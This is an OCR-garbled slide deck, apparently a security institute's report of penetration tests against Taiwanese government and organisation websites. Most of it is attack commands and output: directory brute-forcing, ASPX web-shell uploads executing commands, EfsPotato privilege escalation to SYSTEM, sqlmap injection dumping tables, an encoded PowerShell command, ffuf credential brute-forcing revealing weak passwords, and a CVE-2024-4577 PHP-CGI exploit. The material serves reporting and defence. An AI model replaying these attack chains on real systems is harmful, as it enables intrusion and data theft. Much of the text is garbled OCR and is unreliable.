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- BERERHTRERERIE . VB AL ROSEIRER

| rmagERgE . SBEE et R
. BB E SRS S BEARRIE
- . PEUEIEA T . EREREEN
2 EAEE . SQL Injection 774 . EREERINE
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Dm

1 ISR (25.5%) T2 2RIAEASERTE (28.9%)
2 FEAEE(23.6%) 2 EAEE(28.2%)

3 B ERsEi R (18.6%) 3 INEESIRRL(15.2%)

4 EWHIFEEEE(17.9%) 4 EWHIEFEEE(14.5%)

5 ANLEEAARERTE(8.0%) 5 EREE ARl ociN(9.6%)
6  [ElREBE 2T (5.5%) —_— 0 ERREEE  TTE(2.5%)
[ AL2HEE(0.9%) — | ALE2HEF(1.1%)
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N2 2 HYHREER TE 5 R

® REAFIR LR EINAEEE
- AERTRFREANS 2 Bx1E ~ AE S Ak IR R HixR E1)

A BN ERPUEZESZEmUN Tindexof ] ) » IWEEEFE|ILEEIFEZEE
EEmEM EEESERD > WWebShelllEERBFIRE) » WHITIERE T
B> iiBS PR e IEEE R
O KIEERFTIE= - EEE
- HEEBER B EEINEE 0 RUBIREIVETERIERITEE » BRINE
I A Zs TR NS » A Rl BB E T ECGET B AT B E1EIETR

LIS - = kit
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ZP1-1-NZerHAEERE (1/5

® WA mim LR ?ﬁfﬁT\EE%ﬁE’X%ﬁ
H > WEIRu pdate%@?ﬁm

dirsearch -u https://www NG . qov . N
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setu
ptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

Hil
E!
N/
L
Eﬂ\@%
g
aa>
\El'[—l'
il

Extensions: php, aspx, jsp, html, js HTTP method: GET Threads: 25 Wordlist size: 11460
Output File: /home/nicskali/reports/https_www._.gov.@__25—08—25_21—55—22.txt

Target: https://wwv.n.gov.-/ . : Ely_pﬁ
2016/8/19 T4 ©5:34 5744 | \s.aspx

2016/8/19 T4 ©5:34 2226 Is.aspx.vb

[21:55:22] Starting:

2017/6/29 T4 @3:54 0 test.txt
e :t:pszjjwww..gov.Ea:}pe:ﬁ;sewg%gegraj}n;togj}n.aspxzaspxerrorpa 2018/4/2 T4 05:11 545 Testl.aspx
-> 2/ /v . gov. ’ . , , —— e Eted
ps://www § I-gov.taipei/NewSideDrain/Login.aspx?aspxerrorpa Ny puius 3 s 10225 Test1.aspx.vb
-> https://vw.gov./NewSideDrain/Login.aspx?aspxerr 2022/10/25 T4 ©5:30 <dir> ToolImages32
=>  https://wuw. gov . N/ NewSideDrain/Login.aspx?aspxerrorpRpl b yEkypk i s - E2Y) 4106 UpdateDate.aspx
=> https://wmm. gov I /aspnet_client/ 2022/11/21 T4 02:23 5491 UpdateDate.aspx.vb
-> https://www. il 1 : /NewSideDrain/Login.aspx?aspxerror AL iale = ul-EHry) 1247 UpdateDitch.aspx
2022/9/20 t4 10:09 3089 UpdateDitch.aspx.vb
CTRL+C detected: Pausing threads, please wait... 2025/8/26 T4 12:32 <dir> Upload
Task| Completed 2022/10/26 t4F 11:31 6897 Web.config
[ 0% 10/11460 - - 2016/7/22 T4 03:04 1327 Web.Debug.config
2016/8/19 T4 ©5:34 2518 website.publishproj
|' ||@§§@E%EH%F% 11
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¢ AEFEEIREBA CEIEE > S5l LB WebShell » MEEIAII L2
WebShellll 18 1& PIIZE TUEISF2E R AT IR EIE R

- O (O https//www. .gov NewSideDrain/UpdateDitch.aspx
&R | 0
EEEATH
e G ® https://www .gov NewSideDrain/Upload/a.aspx
Usage: ?cmd=whoami
| ||l5<§L§%ﬁﬁnl%? 12
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® 5 Af5< whoami/priv]) 1R ERIEFIRIEHE S BIWindows ok iElR
(Privileges) » ZEIF 2478 RVAE | SelmpersonatePrivilege |

& O | O https//www .gov /NewSideDrain/Upload/a.aspx?cmd=whoami%20/priv
PRIVILEGES INFORMATION

R RTE s AR

SeAssignPrimaryTokenPrivilege EXfXERIZFEFSARIER E2FH

SeIncreaseQuotaPrivilege HAERIEEFNCIEREE BFH

SeAuditPrivilege EEL2HEZ EFHA

SeChangeNotifyPrivilege BRIBBFERE B

SeImpersonatePrivilege SRR ERA IR 2|

SeCreateGlobalPrivilege BBt BB

|i“m§§ﬁ§%ﬁ%ﬁ 13
)
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ZH1-1- ey rERTE (4/5)
® BT B ER EIEREEER

EEBATHE

® SHAI—EWebShellrHE B2 Z MR = L. exelg %

c:\Windows\XXX\v4.0.30319\csc.exe -out:C:\windows\tasks\EfsPotato.exe -nowarn:1691,618 C:\inetpub\wwwroot\NewSideDrain\Upload\EfsPotato.cs

Microseft (R) Visual C# Compiler version 4.7.3190.8

for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which iz no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533248

|i |I§f§iﬁ§%ﬁﬁ%|‘% 14
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Z=H1-1-ELZeriEERTE(5/5)

‘%@@W%ﬁﬁﬁ%%@Z%@@ﬁrﬁﬁ%ﬂmmj’WWW%@%%
MEIBERER

- O L o RO i IN- g PR AR R T (RN oy PRIy MR | P TR SRR LR D Tl et Y Y R My B
& (O O nhttps//www gov /NewSideDrain/Upload/a.aspx?cmd= C:\windows\tasks\EfsPotato.exe%20whoam

Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.

CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: IIS APPPOOL\NewSideDrain
[+] Pipe: \pipe\lsarpc

[!] binding ok (handle=f5¢15@)

[+] Get Token: 948

[!] process with pid: 12088 created.

nt authority\system |

|i“ﬁ§§@§%ﬁ%ﬁ
) ati
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ZH1-2- "Ll HERERTE(2/4

® (EABUID SUIte T EMAL S o hm il Mo com s i o
WEHE  BOGTBEER e . L
H%Z%Q%Z 'filenamey -

-
Request Response
|_ | m a ge p n gJ oy - Hex _ a wnw = Pretty Raw Hex Render a w o=
180 w=vee- WebKi tFormBoundary tnsROGBArDrZSICR | HITP/2 200 OK
|_ 1£1 Content-Disposition: form-data; name="resumeExtralist[0].oldSort" 2 Date: Mon, 21 Jul 2025 08:06:48 GMT
| m a e a S pXJ ﬁ 182 3 Content-Type: application/json; charset=utf-8
183 1 4 Cache-Control: private
W TR QE \/\/ bSh HE 184 ==an WebKi tFormBoundary tnsROGBArDIZSICR 5 Server: cloudflare
E} ’ﬁ\ /9 7N e e A3 185 Content-Disposition: form-data; name="Headshotfile"; filcname=" 6 X-Aspnctavc-Version: 5.2
~ NS 7 X-Powered-By: ASP.NET
N % 186 . image/png 8 X-Frame-Options: DENY
/25\_ tlj 163 g Strict-Transport-Sccurity: max-age=31536000; includeSubDomains
12} <J@ Page Language="C&#" % 10 Cf-Cache-Status: DYNAMIC
12} <#@ Import namespace="System.Diagnostics %> 11 Nel: {"report_to":"cf-nel”,"success_fraction”:0.0,"sax_age”:604800)
16f <%@ Import Numespace="System. [0" % 12 Report-To:
15] <%@ Import Namespace="System.Text" %> {"group”:"cl-nel", "max_age"”:604800
19 cloudflarc, com/ report/v4?s=vS6d1Xa
1of <!-- SNOO8Br8oDsKyFHaG1483s0Tx 1 XUt bGa9E
| TODO: Fix issuc with user input validation for logs (low M1
priority) 13 Cf'RQY'. 96293374dd894a07-TPE
19 SEARCH MODULE INITIATION SEQUENCE TR-109 i4 Alt-Sve: h3=":443"; mu=86400
14 Need to improve async handling of contentindex references 15
|19 «-> 16 {
19 "result_status":true,
1o} <!'DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "result_message”:null,
"http:/ fwew.w3.org/TR/xhiml 1/DTD/ xhiml I -transitional .dtd"> "result_content”:null
20 }
20] <script runat="server">
20 private const string AUTHKEY = "woanwarc";
20 private const string HEADER =
"chimlsinchaadsinet it LasSnarshinislt it lanince tule
2)%02 €| | Search £ Ohighlights @@ € ||>| | Search £ | 0highlights
Done

Eventlog(32)*  Allissues

(S) BRE = 255 17
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0 {ﬁﬁ@/\\ \F?I:F é;/\/éi 7f $% . G 1 m 1£: s
“\H }_ﬁl-\ﬁ% ’ }/_ /7_,-6 F; /\Zi;) J: -ﬁnmﬂ BT BAL  EWEB  HNRE  XSSE  SRWR  BETE  SRME | nicsldpt72205_pBE
=lElis Z“\Fiﬁﬁg » BVS
WebShell##31E

KEEMR EOGRER
300x300px)

BN EE(pdfis)

H b & °
slanguage  Switch Deviools W Chinese ’

1
: I I
* @

tw//Upload/member_re UPLOAD DIRECTORY3579/image.aspx”

SN LWSEmeE -5 R LS CHEAREREES

|i"rﬁﬁtﬁémnﬁ BN e & S S ——— . |

I Institute of Cyber Security
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* BECEREPIINREEERMIERE - BITRERIAIEISAME
2k

...................... e |‘ Search APl Interface

SN S win c a

SeAssignPrimaryTokenPrivilege WEIRIZFFHRHER EFA Auth
SeIncreaseQuotaPrivilege B RREFNCERER BFB Key: _:,
SeAuditPrivilege EERPMEI EFA ) -
sechangeNotifyPrivilege K@Emhﬁ e Command: _Dowershlell -enc CgAkAGIANQAOACAAPQAQAE::AZOBOACOAQWB\fAG4AA:IAB1AG4AA:IAAQACOAUgBhAHcAIMtAFMYOBOAGgAlANAEN'|
% B4 Search
SeIncreaseworkingsetPrivilege iﬁlmﬁfiﬁﬁlfﬂﬁ EFH S
Key: ‘
Command: |whoami /priv
| Search |
Key:
Command: |pewershell cat ../../temp/test.txt
| Search
|' ||§§i%§%ﬁﬁ%l‘% 19
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® REFHIEETIRERE
- AT ERARSEHIE TIndexof) BEMARIERGHE » BIEHAEIRIEINNE

- = Eﬁzgﬁi/\ ST AN EITT(no-exec) » [HLEWEEEF | FHWebShel|F &=
BAIETVHIITIED

® KBRS LEER
- SHEEBEE LEERE L S ETEMRIES > WHtAIRE SRR S
ImfAlAkes SEETRES > SURJEE HEREEANTE TR S HE RG]

- PEBE BRI EET LEEXASTEE © [HIESARRIEINZE

Z =BT A
- Windows Al iR 2 fE L 4L [ FE o FDRETTIHE » BB E MR =42
=
(3 BREE =25k 20
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T NI EERRE

® IR LERIESH ANS > PIBHASRIET L ENIESESQLEAMIT

0 ﬁiefﬁ%ﬁ%@u%ﬁﬂ;ﬂ@)ﬁﬁ BIEFEAREE  ENWEZLUSTER
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ZH2-FEAEE(L/6
® WRNE TS it

AI J SS IJ_:I Burp Project Intruder Repeater View Help Burp Suite Community Edition v2023.9.4 - Temporary Project
IA\
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer

Iy%é% ;HJ }Eﬁ B U rp S U | te T ﬁ ntercept  HTTPhistory ~ WebSockets history {G) Proxy settings
WD RGOIEET A BUG | e

Forward Drop Action Open browser {
SRR EREIL 2R prety _Raw__ Hr [ e " =
|_ o 1 POST /wsv/ rtnACTBA HTTP/1.1 Send to Intruder Ctri+|
2 Host: tw
J Send to Repeater Ctrl+R
/WS\// / rtnACT BA J 3 Cookie: ga ESMZORJQO2=GSZ.1.s175609789&%50 J. e L.3.1622752333.175609789¢;
R ASP.NET Sessxonld-Vvaqnlsolka-Joley-xtva.J Send to Sequencer aaS7adbcfaédatd44; cookiesessionl=
& yﬁgy— ﬂ H AJ £78ABC45ATBECEAF423A20B4AESB3DDS; ASPSESSIC HDP
EI’T%Z ]I __|_j: 4 Content-Length: 35 ‘ Send to Comparer
. 5 Sec-Ch-Ua: Send to Decoder
,f;%f € Accept: application/json, text/javascript, )
O 7 Content-Type: application/json; charset=uTH  Send to Organizer Ctri+0
¢ Sec-Ch-Ua-Mobile: 270 nsert Collaborator pavioad
% User-Agent: Mozilla/5.0 (VWindows NT 10.0; ® S TML, like Gecko) Chrome/l1l€.0.5845.141
Safari/537.36 | Requestin browser >

10 Sec-Ch-Ua-Platform: ""

12 Sec~Fetch-Site: same-origin 1 Changerequestmethod
3 Sec-Fetch-Mode: cors

14 Sec-Fetch-Dest: e Change body encoding
‘ Referer: https://btv/ Copy URL

Engagement tools [Pro version only] >

¢ Accept-Encoding: gzip, deflate
17 Accept-Language: zh-TV,zh;q=0.9,en-US;q=0.€ Copy as curl command (bash)
15 Connection: close

: Copy to file
o il SR )| paseronge

Save item

Don'tintercept requests >

Do intercept >

|iQ||§§ﬁ§gaﬁ%ﬁ 23
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ZEZBSQLmap TH > # ﬁ%%f < SEFETTSQLA ATEE » IWEAINE
FEHIERM [ EREXE) H T ERRAE)

randon-agent tamper=spacedcomment -0 ¥

https://sqlmap.org

[*] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibdl to obey all applicable local, state and federal laws. Developers assume no liability and are mot responsible for any misuse or damage caused by this progr

[*] starting @ T /2 BE-26/

nden HTTP User-Agent header valua 'Mozill (compatible; MSIE B.0; Windows NT 5.8; Trident/4.8; InfoPath.1; SVI; . CLR 2.0.0586.2152; .NET CLR 3 9; MET CLR 3,.8.BU586.30)" frem fila "/usr/share/sqlmap/dat user-agents.txt
JSON data -‘ww in POST bedy. Do you want te precess it? [Y/n/ql ¥
Cookie parameter ntiXsefToken' appears te hold amti-CSRF token. Do you want sqlmap te autematieally update it in further requests? [y/N] N
11 ] ming back-end DBEMS ‘microsoft sql serw
ing cennection to the target LRAL v il
ics detected that the target is protected by sowe kind of WAF/IPS '_
1 peint(s) from stored sessian: "I-‘_HEl
V_MEl
- WHERE or HAWING clause V_ME|
9" AND GBG5=5AG5 AND 'g 1 V HE|
{Sybase AND error-based = WHERE or HAVING clause ( V_MEMAA_AB_t ms_|
l9° AND 9818 IN [SELECT (CHAR(113)+CHS JHCHAR(113)+CHARCIBT+CHARC113 )+ (SELECT (CAS! N (9818 V FE s
ries [comment) V_ME[
TFOR DELAY '8:8:5'-—"] V_MEl
’
time-based blind (IF nmant ) ‘V_f"E[
15" WAITFOR DELAY '&:8:5'-—"] V MEl
5 made by tempering seripts are not dncluded ir itent{s V ME
icrosoft SQL Server .
V_MH
2 HOSREDUC
AHTH QL query does not roturn a V. _ME
] [WARNTNG] i ontinuous data retr ou are y a smitch "=-no-ca: - switch '==hay' s o
Database: V_MEI
[219 tables] =
; : rernn e V_MHE
V_ME

|i“@§ﬁ@§éﬁ%ﬁ
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® BEMASQLMap T & » SN Erhrr 2 1 S BA Y TR

Database. L
Table: V_MEMAA_AB_tms

[18 entries]

|i“@§§@§im%ﬁ
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O LIETERE Y DEVE 2 IE S EHE SIS A SR L th 4B 2 4

um

E-Learning System

Wi

]

Hhray.

£
=

>

NIFIEAIIAT

o EE
20y BT TR (S5 o wEe B - 33128)
ooz BETEE
0es Bamn . i
R -
05 Wame
2025 3 AN O NN 30 S s 1 .| . ! o iz iz - ; | MEREEN e
& wEmE = mEan ; y : re—
e 19 o 3 250914
2
Eati I 3.1
Sien £ . 05003 MEE 36N
% . 202504
i I,
7.0
B 0
8.9 25084 Wl W
1 0250820
n L AF
12
19 H @ RN 2508025 BES &
Vi . 20251128
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WA F IR B B Re

O KRB FEAREERIRITE » ERF—EAE S 2R EERR

® (EUNiFEIB R Im]avaScripteE A ETIRS » BRINEZ r]E BB JavaScript
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BB EE T A LIRIF—REHEEFE . [FTRIRSE) DIERE

ffuf -w ;usrfshare,eecllst—fnlf overy/Web-Content/big.txt —-u 'https: /4 gov. tu/ fadmin/admin!FUZZ.action' -mc 200

]
~
|

v2.1l.8-dev

*iRSE(EIIR AR S ETW)

Method :

URL : ps 2 /| gnu tw' 1dm1n idmlﬂ'FU
Wordlist

Follow redirects

Calibration

Timeout

[Status: s 4pous, Words: i : 736, D x4

[Status Size: 3586, Words: 380, Lines , Dura

[Sta Siz 8, Words: 1, Lines: 1, Duration:

[Status Size: 388, Words: 13, Lines: 11, Durati

[Status: Size: 23075, Words: 4237, Lines: 573, D

[Status Siz 1 , Words: 260, Lines: 152, Du _—
middle [Status Siz 3 Words: 122, Lines: 64, Dur' RCEEEEE  RoEtE  eclEEEET ROSD
save [Status: Siz 1 Words: 1282, Lines: 2'4(1 D FOIEE G FERTERE | ADMIN

Si 1l

Words: 1278, Lines: D

update [Status:
validate [Status: i : 2
Progress: [260478/26478] :: Job [1 Al e req/sec :: Duration: [0:081:12]

ELFR(RRI8FAD)

I'-..l [
=

Words: 1, Lines: 1, Durati
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Z15-2-58 58 K S ea ik il 3 (2/5

® [FFEBurp Suite L EWMEFIE » 2R E laccounty ~ lTusername) &
 password,

Burp Project Repeater Intruder View Help Burp Suite Communiy Edition v 4 . Tomporary Project
Dashboard Target Proxy Intruder R G S Decoder Comparer Logger Organizer Extensions Learn
Intercept HITP history  WebSockets history {©) Proxy settings

7 Filter: Hiding €SS, image and general binary content

* Host Method URL Params  Edited Statuscode Length MIMEtype Extension Title Comment TS P Cookies Time Listener port
https/, GET /mobileapp/getVersion 200 1250 JSON v 5 15:39:21 27 .. 8080
https/, GET /mobileapp/getVersion 200 1250 JSON v S 15:39:2127 .. 8080
https// GET /mobileapp/getVersion 200 1250 JSON v S 15:38:2127 .. 8080
https./) GET /mobileapp/getVersion 200 1250 JSON v 2 H 15:38:2127 .. 8080
https/) GET /mobileapp/getVersion 200 1250 JSON v 2 S 15:37:2527 .. 8080
httpsy, GET /mobileapp/getVersion 200 1250 JSON v S 15:37:2127 .. 8080
https// POST  Juser/auth/ v 200 1239 JSON v 5 15:364227 .. 8080
https/, GET /mobileapp/gatVersion 200 1250 JSCON v 2 5 15:36:2127 ... 8080
httpsy/, GET /mobileapp/getVersion 200 1250 JSON v 2 S 15:36:21 27 ... 8080
httpsy/, GET /mobileapp/getVersion 200 1250 JSON v S 15:362127.. 8080
https/, GET Juserflogin 200 8556 HTML SRR v 5 15354227 .. 8080

y GET /doctors/me/appointments 302 1194 text v 2 S 15:35:42 27 .. 8080
':' ==
Response
w = Protty Raw Hex Render a w =
L MITP/L.1 200 OX
(3] 2 Server: ag:inx/1.24.0
Cookie: sails.sid=sVIAPKCP-CRSSOWiXAad IHxEYevizEScIuTh, XOSSDEXQaqni HCDERALet T2 QAKX Yen [C2UVIqwVemDQ; 10=£oDDLY-B0t3eDOzpALCY Daze: Tue, 27 May 2025 07:32:25 GXT

4 Content-Length: 47 4 Content-Type: application/jseon; charset=utt-0

5 Sec-Ch-Ua: ¢ Content-Length: 45

€ Accept: application/json, text/plain, */* ¢ Coanection: close

Content-Type: application/json;charset=UT¥-0 Vary: X-MTTP-Hethod-Override

® X-Csrf-Token: Access-Control-Allov-Origin:

S Sec-Ch-UVa-Nobile: 20 ¢ Access-Control-Allov-Credentials:

L0 User-Agent: Nozilla/S5.0 (¥Windows NT 10.0; Vin€4:; x€4) AppleVWebKit/S537.3& (KMTML, like Gecko) Chrome/L11£.0.5845.141 L. Access-Control-Allov-Methods:
Satar:i/537.3¢€ il Lccen-Cont rol-Allov-Headers:

il Sec-Ch-Ua-Platform: "* i2 ontrol-Exp Headers:

12 Origin: bevps:// . - ¢ 13 ETag: ¥/"2d-KXAtINUFREfjoQeciPSdul”

13 Sec-Fetch-Site: same-origin 14 X-Fram=-Options: SAMEORIGIN

14 Sec-Fetch-Mode: cors 15 X-Content-Type-Options: nosniff

15 Sec-Fetch-Dest: empty £ Cache-Control: no-cachs

16 Referer: hreps:/ N ¢ v/ usex / login/
17 Aecept-Encoding: gzip, deflate

15 Accept-Language: zh-TV, zh;q=0.9,en-US:q=0.8,en:q=0.7
1% Connection: close

7 Cache-Control: private
£ X-XSS-Protection: 1l; mode=block
& Strict-Transport-S; L [nax-a
¢ Content-Security-P
0 heips://unpky. com
21{ Lmg-szc 'self' dat
Taccount™: "admin®, ve://*:8090/QHorus
"usernéame": "admin®, vs://localhost: 246
"password”: "admin" 21

cdn.wouseflov.com https://cdn,jsdelive.net
ogleapis.com/maps/api/*; font-sre '‘self' data::
SFervice ws://*:8008/Wisca

wve://localhost:24550/0X3Control
/*.tirebaseio,.com;

{
"result™:talse,
"msg": "accNotEx isc™
)
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® CAFFUFTREETIRIEYIE » BB R EIEEN R SRR

~

ffuf -u "https://_tw/user/auth/“ -X POST -H "Content-Type: application/json;charset=UTF-8" -d '{"account":"FUZZ",K "username":"FUZZ", "password":"password"}' -w /usr/sharg
/5.0 (Windows NT 10.0; Winéd; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.58uU5.141 Safari/537.36" —fs 45

LUSTINGIET N Loy
NN N e A N
D e NI A ARV AN TARE )

NENGENSEN I N AN ENEA NN SN NN,

NGNENENENENTRNIENE 22 27N
\/_/ NJ YN \/_/

v2.1.0-dev

:: URL : https://_ tw/user/auth/
:: Wordlist : FUZZ: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
:: Header : Content-Type: application/json;charset=UTF-8
:: Header : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
:: Data : {"account":"FUZZ", "username":"FUZZ", "password": "password"}
: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : ue
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: U5

Duration: 92ms]

Duration: 244ms]
Duration: 164ms]
Duration: 69ms]

Duration: 101lms]
Duration: 159ms]
Duration: 127ms]
Duration: 122ms]
Duration: 359ms]
Duration: 110ms]
Duration: 170ms]
Duration: 309ms]
Duration: 148ms]

[Status: 200, Size: Words: Lines:
[Status: 200, Size: Words: Lines:
[Status: 200, Size: Words: Lines:
[Status: 200, Size: Words: Lines:
[Status: 200, Size: Words: Lines:
[Status: 200, Size: Words: Lines:
[Status: 200, Size: Words: Lines:
[Status: 200, Size: Words: Lines:
[Status: 200, Size: Words: Lines:
[Status: 200, Size: Words: Lines:
[Status: 200, Size: Words: Lines:
[Status: 200, Size: Words: Lines:
[Status: 200, Size: Words: Lines:

EEERLREEREEEEEEEE

|i“@§ﬁ@§éﬁ%ﬁ
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Z5-2-RE M B sE e sl 3% (4/5
® SFHEFFUF L ESZEIRRSE [daniely 2 &HEA 1123)

- .org.tw
ffuf -u "|1ttpb:.-"-rg.tt.l.f'uucr.";-.utlu'" -X POST -H "Content-Type: application/json;charset=UTF-8" -d

'{"account":"FUZZ1", "username” : "FUZZ1", "password" : "FUZZ2"}"' -w fusr/share/seclists/Pas

ZZ1 -H "User-Agent: Mozilla/5.8 (Windows NT 10.8; Win6d; x6u) AppleWebHit/537.36 (HHTML, like Gecko) Chrome/116.8.58u5.141 Safari/53

7.36" -fs 49

fio\

L= S

b T YT T PO, 7 T 7 T T S |

LT T T T VL U T VLT O T T WY
L0V, TR T 1. R, T WY B W W |
LY LY SV S ¥ S AT

vi.l.8-dev

Method : POST

12 URL : httpf.:;".J'_t-.l.fuser.-"auth"

: Wordlist : FUZZ2: fusr/share/seclists/Passwords/xato-net-18-million-passwords.txt

Wordlist : FUZZ1: .-’IlumE;’llicskgllimlm‘ruberb X
Header : User=Agent: Mozilla/s. Windows .9; Win6d; x64) Applewebkit/537.36 (HHTML,

:: Header : Content-Type: application/json;charset=UTF-8
: Data : {"account":"FUZZ1", "username”:"FUZZ1", "password”:"FUZZ2"}
Follow redirects : false
:: Calibration : false
: Timeout : 1@
: Threads :oue
Matcher : Response status: 200-299, 301,382, 6307 481,483 485,500
: Response size: 49

[Status: 288, Size: 53, i : 4§, Duration:
= FUZZ1: daniel
+ FUZZ2:
[Status; 208, Size: 47, Words: T, Lines: 4, Duration: 219ms]
* FUZZL1: daniel
* FUZZ2: 123

[WARN] Caught keyboard interrupt (Ctrl-C)

BREBEXZ2H AR
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Z56- 1Bk @E 2 T (1/2)

® (FHPHP-CGI-RCE-Scanner L BimtmisRaaguL » =518 48u5FaRNCGI

AY

R
A AE
~/HackerTool/PHP-CGI-RCE-Scanner
python -W ignore exploit.py
Testing CVE-2024-4577

vulnerable version: 5.0.0 - 8.1.28, 8.2.0 - 8.2.19, 8.3.0 - 8.3.7
Testing: https://www.

.tw connected=True cgi_exist=False phpversion=""
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venv ~/HackerTool/php-cgi-Injector
python exploit.py —u https://| G-t/

® EBPHP-CGI-Injector T
B > fEF0SEE IR

CVE-2024-4577 & CVE-2024-8926 Exploitation Tool

Version:
Author

GitHub

Exploit #ix
https: //— tw/
/php-cgi p—cgi.exe
CVE-2024-4577

& Shell# =
% PHPH 3]

shell> whoami
nt authority\system

shell> whoami /groups
GROUP INFORMATION

R — BUILTIN\Administrators = 4§ F g i £
|i |Il§|5&ﬁ@ﬁ%ﬁﬁ?§lﬁ §¥ezﬁ1o':(e)RITv\A thenticated U 2 0 B . " A B R : 53
’ ; £ . uthenticate sers 17 : 1 A 58 xR ) f
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401 Authorization required

wn BE
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[El=wEEE
B

2019=F2F 248 T+ 10:55:
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Thank you for your time.
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